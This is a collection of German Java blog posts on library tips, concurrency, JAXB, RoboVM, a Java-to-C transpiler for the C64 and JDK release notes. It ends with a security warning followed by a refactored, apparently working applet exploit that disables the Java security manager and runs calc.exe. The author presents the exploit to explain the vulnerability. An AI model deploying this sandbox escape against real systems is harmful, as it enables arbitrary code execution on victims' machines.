Zunächst liefert org.apache.commons.compress.compressors.bzip2.BZip2InputStream aus dem Apache Commons Compress (https://commons.apache.org/proper/commons-compress/) einen InputStream. Diesen übergibt man dann StAX:
InputStream fis = new FileInputStream( file ); // vielleich noch puffern
InputStream bz2is = new BZip2InputStream( fis );
XMLInputFactory factory = XMLInputFactory.newInstance();
XMLStreamReader parser = factory.createXMLStreamReader( bz2is );
Im Prinzip erst mal nicht, beides sind unterschiedliche Konzepte. Helfen kann aber http://uio.imagero.com/doc/com/imagero/uio/io/RandomAccessOutputStream.html aus der Open-Source Bibliothek Unified I/O. Das verbindet ein RandomAccessFile (auch von Unified I/O!) mit einem java.io.OutputStream.
Die Metadaten können direkt erfragt werden. Quelle: https://svn.apache.org/repos/asf/db/ddlutils/trunk/src/main/java/org/apache/ddlutils/platform/DatabaseMetaDataWrapper.java.
/**
* Convenience method to return the foreign key meta data using the configured catalog and
* schema pattern.
*
* @param tableNamePattern The pattern identifying for which tables to return info
* @return The foreign key meta data
* @throws SQLException If an error occurred retrieving the meta data
* @see DatabaseMetaData#getImportedKeys(java.lang.String, java.lang.String, java.lang.String)
*/
public ResultSet getForeignKeys(String tableNamePattern) throws SQLException
{
return getMetaData().getImportedKeys(getCatalog(), getSchemaPattern(), tableNamePattern);
}
Dahinter steckt also http://docs.oracle.com/javase/7/docs/api/java/sql/DatabaseMetaData.html#getImportedKeys(java.lang.String,%20java.lang.String,%20java.lang.String)
__________________
Eine Idee ist, nicht einen eigenen Thread selbst zu starten — was man sowieso nicht so oft macht — sondern einen ThreadPool aus Java 5 mit einzusetzen (Executors#newCachedThreadPool() ), der einen Executer (ExecutorService) implementiert. Der ExecutorService hat eine Funktion submit(Runnable task), die ein Future liefert. Mit diesem Future arbeitest du dann mit get(long timeout, TimeUnit unit).
Code:
package com.tutego;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
public class ExitAfterATime
{
public static void main( String[] args )
{
ExecutorService es = Executors.newCachedThreadPool();
Future<?> submit = es.submit( new Runnable() {
@Override public void run()
{
try { Thread.sleep( 2000 ); } catch ( InterruptedException e ) { System.out.println("InterruptedException"); }
} } );
try
{
submit.get( 500, TimeUnit.MILLISECONDS );
}
catch ( InterruptedException e )
{
}
catch ( ExecutionException e )
{
}
catch ( TimeoutException e )
{
System.out.println( "Canceling" );
submit.cancel( true );
System.out.println( "Canceling Done" );
}
es.shutdownNow();
}
}
Es gibt noch andere Lösungen und das concurrent Paket bietet viele Möglichkeiten. Der Programmcode muss aber mitspielen und auch beendet werden können, also cancel(…) unterstützen.
Gestern kam auf ZDFinfo ein "schöner" Beitrag, der mich absolut an den Vorfall hier erinnert — zum Nachschauen: http://www.zdf.de/ZDFmediathek/kanaluebersicht/aktuellste/398#/beitrag/video/1951570/ZDFzoom:-Gewinn-ist-King.
2010 kaufte der New Yorker Finanzinvestor 3G Capital für 4 Milliarden US-Dollar den Burgerbrater und will das Investment nun zu Geld machen. An der Börse zahlt sich das aus, aber auf Kosten der Mitarbeiter und Franchise-Unternehmer. Das ist im Grunde das gleiche wie beim JFO; auch hier kommt ein "Investor" und versucht über Werbung schnell seine Ausgaben wieder reinzuholen. An ein langfristiges Investment geht es den Venture Capitalist gar nicht, denn nach einer kurzen Gewinnphase (die nur die Aktionäre freut) wird ein Unternehmen nach guten Gewinnen in der Regel wieder weiterverkauft, und dann ist es meist kaputt. Beim JFO befürchte ich das gleiche: Wenn das JFO wieder geöffnet ist, und voll von Google Werbung ist, wird Geld reinkommen — dass die Community kaputt geht, ist dem Investor egal, der kann wohl auch nichts mit Java anfangen weiß vermutlich auch gar nicht was das ist. Daher glaube ich auch nicht, dass man dem jetzigen Inhaber die Domain wieder abkaufen kann, denn mit Google Werbung wird auf Jahre hinaus wohl einiges zu verdienen sein, auch wenn das Forum passiv bleibt. Hier geht’s ums Geld, das ist alles, es ist ein Geschäftsmodell. Mit moralischen Appellen kommt man hier nicht weiter.
Siehe auch http://forum.byte-welt.net/showthread.php?t=4636.
Von November 2005 bis März 2010 betrieb ich meinen Java-Blog bei Google unter der Domain javainsel.blogspot.de. In der Zeit hatte ich an die 300 Posts geschrieben und fast 40.000 Seitenaufrufe gehabt. Im Jahr 2010 habe ich dann eine WordPress-Installation auf meinem Server gesetzt und dort weitergebloggt. Nach einer Migration der alten Artikel in das aktuelle WP-System wurde es nun Zeit, bei Google den alten Blog zu löschen. Bye-Bye Google Blogger, die Daten gehören jetzt wieder mir.
Das Forum wurde geschlossen, zu den Gründen hier: http://forum.byte-welt.net/showthread.php?t=4538 (lange Diskussion) oder kürzer http://www.c-plusplus.de/forum/318939 und https://www.sourceprojects.org/default/2013/08/01/1375340100000.html. Schnell gesagt: Schnelles Geld und Gier ruiniert Communities.
So ein Vorgang macht wieder klar, dass man immer Herr seiner Daten sein sollte. Alle meine Beiträge (>100?) sind nun futsch, die alten Antworten werden keinen mehr erreichen. Meine Konsequenz daraus? Ich werde auf kein Forum mehr Texte stellen, nichts mehr direkt beantworten, nur noch ausschließlich hier im Blog und dann eventuell von Foren aus hier zum Blog verlinken. Mein Server, meine Daten, meine Sicherheit.
Die Informationen von Mikroformaten lassen sich mit JAXB relativ leicht in XML konvertieren:
import java.util.*;
import javax.xml.bind.*;
import javax.xml.bind.annotation.*;
public class MicroformatViaJaxb
{
public static void main( String[] args ) throws JAXBException
{
Microformat mf = new Microformat();
mf.elements.add( new Element( "name", "Christian Ullenboom" ) );
mf.elements.add( new Element( "address", "tutego Allee" ) );
mf.elements.add( new Element( "phone", "2873568956928" ) );
JAXBContext context = JAXBContext.newInstance( Microformat.class );
Marshaller m = context.createMarshaller();
m.setProperty( Marshaller.JAXB_FORMATTED_OUTPUT, Boolean.TRUE );
m.marshal( mf, System.out );
}
}
@XmlRootElement( name = "div" )
class Microformat
{
@XmlAttribute( name = "class" )
public String key = "person";
@XmlElement( name = "span" )
public List<Element> elements = new ArrayList<Element>();
}
class Element
{
@XmlAttribute( name = "class" )
public String key;
@XmlValue
public String value;
public Element() { }
public Element( String key, String value )
{
this.key = key;
this.value = value;
}
}
XML HK2 WSIT ESB JMS SSO SAO JSR JAX-RS JCP DOJO AJAX WSDP jBMP RIFE RAILS MC4J CAPS SAML WS-* WSRP SAW JXTA HTTP URL IIOP ORB JMX TCP/IP WSDL MEX XWSS MTOM XSD SMTP WSA SOAP JBI JCA CMT LDAP BMT CMPI VJM CDDL GPL BSD API JAX-B StAX JSP JSTL EJB JPA TCK JDBC JDK JRE JAXP XOP REST POJO SQL GUI URI XMLDSig JAAS GSSAPI META-INF NIO ACL JNL CORBA CDC CLDC MIDP ACID SSL DRDA UML SAX DOM XOM XML-RPC MVC XSLT DAO SVG COM FTP PDF JNA ANTLR SLF4J WiX
Alles klar?
Mit 10 oder so hatte ich meine erste, ich erinnere mich noch genau, ich hatte sie in einem Buch kennengelernt. Basic war ihr Name. Immer was verträumt, aber eine treue Seele. Ich war jung, sie auch, wir stellen keine wilden Sachen an. Ein Jahr später lerne ich Assembline kennen, WOW, das war eine zackige Braut, der war ich lange treu. Ganz schmutzige Sachen haben wir gemacht, sie war auch ein bisschen devot. Bin dann umgezogen nach Amiga-City und hatte mich in die ältere Schwerster von Assembline verguckt, die war auch heiß und ging ganz schön ran. Da war ich um die 14. Aber ich wurde älter und mit Assembline war es immer so anstrengend, sie war total nachtragend, jeden kleinen Fehler nahm sie mir übel und wollte dann erst mal nicht mehr mit mir sprechen. Also habe ich Schluss gemacht. Zu der Zeit hatte ich auch Pascaline und Zee kennengelernt und viel erlebt, was man eben zu Dritt so macht. Das ging dann so ein paar Jahre, aber jetzt habe ich fast seit 20 Jahren nur noch eine: mein Java-Mäuschen. Die hat mir auch den g-Punkt und fillRect gezeigt, hui. Manches Mal zeigt sie mir den roten Kringel, aber mit ihr kann ich fast alles machen. Und was mich früher an Assembline scharf machte (ich sage nur „bare metal“), interessiert mich heute überhaupt mehr. Passt also, eine glückliche Beziehung.
https://blogs.oracle.com/java/entry/java_se_7_update_25. Mit den üblichen Security-Udates und sonst noch ein paar Änderungen: http://www.oracle.com/technetwork/java/javase/7u25-relnotes-1955741.html. Nicht uninteressant finde ich folgendes, was die Kompatibilität von existierenden Anwendungen beeinflussen könnte:
Changes to Runtime.exec
On the Windows platform, the decoding of command strings specified to
java.lang.ProcessBuilderand theexecmethods defined byjava.lang.Runtime, has been made stricter since JDK 7u21. This may cause problems for applications that are using one or more of these methods with commands that contain spaces in the program name, or are invoking these methods with commands that are not quoted correctly. For more information see JDK 7u21 Release Notes.In JDK 7u25, the system property
jdk.lang.Process.allowAmbigousCommandscan be used to relax the checking process and may be used as a workaround for some applications that are impacted by the stricter validation. The workaround is only effective for applications that are run without a security manager. To use this workaround, either the command line should be updated to include-Djdk.lang.Process.allowAmbigousCommands=trueor the java application should set the system propertyjdk.lang.Process.allowAmbigousCommandsto true.Quoting and escaping commands on Windows platform is complicated. The following examples may be useful to developers if they are impacted by the stricter validation.
Example 1: The application needs to be launched with
C:\Program Files\foo.exe.Here are 3 possible ways:
Process p = new ProcessBuilder("c:\\Program File\\foo.exe").start();Process p = Runtime.getRuntime().exec(new String[] { "c:\\Program File\\foo.exe" });Process p = Runtime.getRuntime().exec("\"c:\\Program File\\foo.exe\"");Where it is not possible to change the application to use one of the above approaches, then the system property
jdk.lang.Process.allowAmbigousCommandsmay be used as a workaround.Example 2: The application needs to launch
"dir > dir.out".
This case requires launchingcmd.exe, and also it needs the output to be redirected to a file. The best approach is to use theProcessBuilderas shown in the following example:
Process p = new ProcessBuilder("cmd", "/C", "dir").redirectOutput(new File("dir.out")).start();Where it not possible to change code to use
ProcessBuilderorredirectOutput, then the following approaches can also be used:
Process p = new ProcessBuilder("cmd", "/C", "dir > dir.out").start();Process p = Runtime.getRuntime().exec("cmd /C \"dir > dir.out\"");Example 3: The application wants to launch a command with parameters that require special quoting; for example
"log.bat \">error<\"".
Here are 3 possible ways to do this:
Process p = new ProcessBuilder("cmd", "/C", "log.bat", ">error<").start();Process p = Runtime.getRuntime().exec(new String[] { "cmd", "/C", "log.bat", ">error<" })Process p = Runtime.getRuntime().exec("cmd /C log.bat \">error<\"");
Normalerweise nimmt eine JVM den Bytecode der Hauptklasse, lädt zur Laufzeit Klassendateien nach, interpretiert diese und übersetzt sie Zwecks Optimierung in Maschinencode. Dem gegenüber steht ein anderer Ansatz, der sonst eher typisch für klassische Programmiersprachen ist, genannt ahead-of-time-Compilation. Bei diesem Verfahren ermittelt ein Werkzeug zunächst alle abhängigen Typen und generiert dann direkt Maschinencode für eine Plattform — kein Interpreter ist somit nötig. Für Java sind solche Compiler selten, aber wer Java auf iOS-Geräten nutzen möchte, kommt darum nicht herum, denn Apple gestattet keine interpretierten Sprachen auf den kleinen Geräten. Dafür springt RoboVM (http://www.robovm.org/) ein, eine Open-Source-Software unter der GPL- und Apache-Lizenz, die Java-Programme direkt in Maschinencode (ARM bzw. x86 Code) übersetzt. Zum Bauen der Zieldateien nutzt RoboVM unterschiedliche Tools, um eine Kette von Schritten zu realisieren: Zunächst übersetzt ein installierter LLVM den Bytecode in Assembler-Code, dann folgt ein Tool, was Assembler-Code in Binärcode umsetzt, und dann ein Linker für den letzten Schritt, der das Ergebnis zusammensetzt; Assembler und Linker kommen vom GCC. Die Übersetzung ist kein großer Akt, denn für RoboVM ist ein Eclipse-Plugin verfügbar, in dem die App auch – zumindest beim Mac – im Simulator gestartet werden kann.
RoboVM bietet den Entwicklern die Standard-Klassen der Java-Bibliothek sowie sie auch bei Android verfügbar sind und bildet die Klassen der iOS-Bibliothek (genannt Cocoa) auf Java ab. Weiterhin integriert es die Typen vom Android-Paket und die OpenGL ES API, sodass Android-Anwendungen auch unter iOS abgebildet werden können. Interessant wird das Projekt auch durch eine Umsetzung von JavaFX, sodass die proprietären Cocoa-Bibliotheken nicht verwendet werden müssen, und es im Prinzip möglich ist, die gleiche Java-Anwendung auf iOS oder Windows, Linux, … zum Laufen zu bringen. Bisher ist RoboVM in einer frühen Phase.
Um das größte Museum für Heimcomputer und Spielkonsolen aufzubauen, sucht die RetroBude (http://retrobu.de/) historische Heimcomputer, Spielkonsolen, Spiele/Software, Literatur, Werbung und weitere Artefakte aus der Vergangenheit. Hilf mit deinem Beitrag (als Spende oder gegen Bezahlung) die Geräte einem interessierten Publikum zugänglich zu machen.
Knackige Überschrift, was steckt dahinter? Wir warten auf den Architekten für unser Restaurant hier in den Philippinen und so hatte ich etwas Leerlauf, um was total Unnötiges zu programmieren.
Um Java-Programme, beziehungsweise eine Teilmenge der Sprache/Bibliothek, auf dem C64 (oder anderen 8-Bit-Computern) zum Laufen zu bringen, sind mehrere Ansätze denkbar:
Ein JVM ist richtig viel Arbeit, und war in 2 Tagen nicht zu schaffen. Und mit http://sourceforge.net/projects/vm02/ gibt es so etwas auch schon für Apple II Computer. Ein (Cross-)Compiler ist deutlicher einfacher. Bytecode in 65xx-Assembler zu übersetzen ist relativ einfach, doch dann müsste ich wieder Assembler anfassen und damit das ganze schnell wird, müsste ich auch einen Code-Optimierer schreiben, denn einfach die Stack-Maschine umzusetzen, führt auch zu keinen Performance-Wundern. Da es für den C64 auch Compiler gibt, etwa für PASCAL (auf der Maschine) oder C (als Cross-Compiler etwa mit CC65), kann man aus Bytecode auch dieses Format generieren. Aber dann hätte ich wieder mit Java-Bytecode arbeiten müssen, was mir auch keine Freunde macht. Am Schnellsten verspricht Resultate eine Code-Transformation von Java nach C. Das Resultat kann dann der http://www.cc65.org/ in Maschinencode umsetzen, und dann bekommt man auch ein paar Optimierung geschenkt.
Das JDK bringt alles mit, um an den AST des Compilers zu kommen, wie schon im Blog hier beschrieben: http://www.tutego.de/blog/javainsel/2012/07/mit-der-internen-compiler-api-auf-den-ast-einer-klasse-zugreifen/. Von den erkannten Elementen (Ausdrücke, Variablenzugriff, Schleife, …) muss man nur C-Code schreiben und fertig ist. Um mir die Sache einfach zu machen vereinfache ich Java jedoch massiv:
Des weiteren muss sehr “C”-ähnlich programmiert werden:
Das auf diese Weise kastrierte Java ist zwar im Prinzip für nix mehr zu gebrauchen, aber für Heimcomputer immer noch akzeptabel und eine nette Spielerei.
Wer bis dahin noch nicht das Interesse verloren hat, kann ein wenig mit dem Compiler spielen; die Source liegen unter https://code.google.com/p/java2c-transcompiler/.
Jetzt brauchen wir Input:
import static j2c.lib.Stdio.printf; // Source: http://skoe.de/wiki/doku.php?id=ckurs:04-abend4 public class Application { public static char istPrimzahl( int n ) { int divisor; int testEnde = n / 2; /* Alle potentiellen Teiler bis zur Mitte testen */ for ( divisor = 3; divisor < testEnde; divisor += 2 ) { /* Mit Rest 0 teilbar? */ if ( n % divisor == 0 ) { /* Ueberprüfung abbrechen, keine Primzahl */ return 0; } } /* Kein Test durchgefallen, ist eine Primzahl */ return 1; } public static void main( String[] args ) { int zahl; /* Von 3 beginnend jede zweite Zahl testen, bis unter 1000 */ for ( zahl = 3; zahl < 1000; zahl += 2 ) { if ( istPrimzahl( zahl ) != 0 ) { printf( "Primzahl: %u\n", zahl ); } } System.exit( 0 ); } }
Für die C-Funktionen (http://www.cc65.org/doc/funcref.html) gibt es eine paar statische Imports und native Platzhalter:
package j2c.lib; // http://www.cplusplus.com/reference/cstdio/ public class Stdio { /** * Print formatted data to stdout. * <code>int printf ( const char * format, ... );</code> * @param format * @param args * @return */ native public static int printf( String format, Object... args ); }
Das setzt der Compiler im Grunde 1:1 so um. Es lohnt sich das Eclipse CDT unter http://download.eclipse.org/tools/cdt/releases/juno zu installieren, damit die syntaktische Hervorhebung funktioniert (den CC65 Compiler einbinden könnten wir hier NICHT). Nach einer CDT-Neuformatierung ergibt sich:
#include <stdio.h> #include <stdlib.h> #include <peekpoke.h> #include <c64.h> #include <conio.h> /* CLASS Application { */ char istPrimzahl(int n) { int divisor; int testEnde = n / 2; for (divisor = 3; divisor < testEnde; divisor += 2) { if (n % divisor == 0) { return 0; } } return 1; } int main(void) { int zahl; for (zahl = 3; zahl < 1000; zahl += 2) { if (istPrimzahl(zahl) != 0) { printf("Primzahl: %u\n", zahl); } } return 0; } /* END CLASS } */
Um das Compilat zu Erzeugen muss nun der cc65 installiert werden. Unter ftp://ftp.musoftware.de/pub/uz/cc65/ lädt man die für Windows etwa die 1.3 MB große EXE und installiert. Die Eintragungen in den Path kann man vornehmen, nach der Installation folgt dann mit dem kleinen Test:
C:\..>cc65
cc65.exe: No input files
Kappt also.
Das Ganze soll im Emulator laufen, hier ist WinVICE gut: http://www.viceteam.org/#download.
Eine Batch-Datei bindet alles zusammen, also Java –> C, Compilieren und im VICE starten:
set JAVA_HOME="C:\Program Files\Java\jdk1.7.0" %JAVA_HOME%\bin\java -cp bin/;%JAVA_HOME%\lib\tools.jar j2c.J2CC65 src/java/Application.java > app.c del app.prg cl65 -o app.prg app.c "C:\Program Files\WinVICE-2.2-x64\x64.exe" app.prg
Und das Ergebnis sieht so aus:
Hat jmd. Lust das weiter zu entwickeln? Schreibt mir eine E-Mail.
Die Apache Commons Lang Lib finde ich für den Einstieg gut geeignet. (Guava ist echt hart für jmd. der gerade seine Java-Gewässer erkundet; ist was für nach dem ersten Hügel.) Nicht zu vergessen die Sourcen zu den Java-Libs selbst. Oder vorbereiten auf Java 8, in etwa mit einem Blick auf die Date-Time-API JSR-310 (SourceForge.net: threeten) wirft.
Was sonst noch?
* log4j bwz. diverse Nachfolger.
* FreeMarker
* Apache Commons CLI oder Alternativen
Dann noch spezielle Libs, wenn man in diversen Technologien einsteigt
* Code aus SwingX (sehr gut, wenn man Swing-Entwicklung macht)
* Tag-Libs
* JavaFX-Extentions
* Eclipse-Plugins
Sonst kann man noch die Java Certification Exams durchgehen für ein besseres Verständnis der Sprache an sich.
Und meine RTF–Lib jrtf hat noch ein paar Issues offen 
Aus
void foo() default { }
wird
default void foo() { }
tutego sucht freiberufliche Trainer mit Kenntnissen aus folgenden Gebieten:
Wir erwarten Menschen mit sicherem Auftreten und mehrjähriger Berufserfahrung, die ein hohes Maß an Eigeninitiative, Organisationstalent, Verantwortung und Teamfähigkeit mitbringen und aktiv in der Community teilnehmen.
Sie erweitern Ihr Wissen ständig in der Praxis und können idealerweise Veröffentlichungen vorweisen. Ihr Einsatzort ist der gesamte deutschsprachige Raum.
Es macht Ihnen Spaß Vorträge zu halten und zu unterrichten? Sie sind schnell begeistert, wenn es um die Anwendung neuer Technologien geht? Dann sind Sie bei tutego genau richtig! Wir freuen uns auf Ihre Bewerbung per E-Mail unter info at tutego dot com.
Alle Änderungen im Überblick http://download.java.net/jdk8/changes/jdk8-b55.html.
Change-Set: 131a683a2ce0
6336885
RFE: Locale Data Deployment Enhancements
4609153
Provide locale data for Indic locales
5104387
Support for gl_ES locale (galician language)
6337471
desktop/system locale preferences support
7056139
(cal) SPI support for locale-dependent Calendar parameters
7058206
Provide CalendarData SPI for week params and display field value names
7073852
Support multiple scripts for digits and decimal symbols per locale
7079560
[Fmt-Da] Context dependent month names support in SimpleDateFormat
7171324
getAvailableLocales() of locale sensitive services should return the actual availability of locales
7151414
(cal) Support calendar type identification
7168528
LocaleServiceProvider needs to be aware of Locale extensions
7171372
(cal) locale’s default Calendar should be created if unknown calendar is specified
Nach dem nun herauskam, dass Oracle von der schweren Lücke schon seit April (!) wusste, hast sich das Unternehmen nun doch genötigt, ein Update zu veröffentlichen. Jeder ist angehalten, das 7u7 sofort (bzw. 6u35) sofort zu installieren.
Auf meiner Google+ Seite hatte ich das schon kurz angesprochen: Es gibt eine Sicherheitslücke, die bisher auch schon ausgenutzt wird. Das ist ein ernstes Problem und jeder ist angehalten, Applets im Browser abzuknipsen. Da die meisten von uns vermutlich eh keine Applets benötigen, ist es sinnvoll, das ganz komplett für immer abzuschalten bzw. nur Ausnahmen zu erteilen (Chrome, siehe https://support.google.com/chrome/bin/answer.py?hl=de&answer=142064). Mehr News unter
Auf Basis des Exploits ttp://pastie.org/4594319 habe ich das Programm etwas umformuliert (refactored) und kompakter gestaltet, sodass es leichter ist, die Herangehensweise zu verstehen und nachzuvollziehen:
package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.*; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { private static final long serialVersionUID = 1L; private void disableSecurity() throws Exception { Permissions localPermissions = new Permissions(); localPermissions.add( new AllPermission() ); CodeSource codeSource = new CodeSource( new URL( "file:///" ), new Certificate[]{} ); ProtectionDomain[] protectionDomains = { new ProtectionDomain( codeSource, localPermissions ) }; AccessControlContext localAccessControlContext = new AccessControlContext( protectionDomains ); Expression expr1 = new Expression( Class.class, "forName", new Object[]{ "sun.awt.SunToolkit" } ); expr1.execute(); Expression expr2 = new Expression( expr1.getValue(), "getField", new Object[]{ Statement.class, "acc" } ); expr2.execute(); Statement localStatement = new Statement( System.class, "setSecurityManager", new Object[1] ); ((Field) expr2.getValue()).set( localStatement, localAccessControlContext ); localStatement.execute(); } @Override public void init() { try { disableSecurity(); Runtime.getRuntime().exec( "calc.exe" ).waitFor(); } catch ( Throwable t ) { t.printStackTrace(); } } @Override public void paint( Graphics g ) { g.drawString( "Loading", 50, 25 ); } }